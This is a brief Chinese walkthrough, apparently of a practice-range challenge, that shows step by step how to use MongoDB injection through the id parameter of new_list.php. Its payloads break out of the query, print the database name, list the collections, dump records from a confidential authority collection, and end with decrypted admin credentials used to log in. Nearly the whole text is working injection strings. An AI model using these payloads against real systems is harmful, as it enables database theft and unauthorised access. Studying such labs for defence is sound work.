1.构造数据库回显
new_list.php?id=1'});return ({title:'1',content:'2
可以看到页面上有回显
2.查询数据库
id=1'});return({title:tojson(db),content:'2
3.查询数据库中的所有表
id=1'});return({title:tojson(db.getCollectionNames()),content:'2
4.查询表中的所有字段
查询表中的第一个字段信息
id=1'});return({title:tojson(db.Authority_confidential.find()[0]),content:'2
解密之后无法登录 说明密码错误 继续查询第二个字段信息
查询表中第二个字段信息
id=1'});return({title:tojson(db.Authority_confidential.find()[1]),content:'2
5.登录后台
使用在线解密对密码进行解密后为902621
用户名为mozhe 密码为902621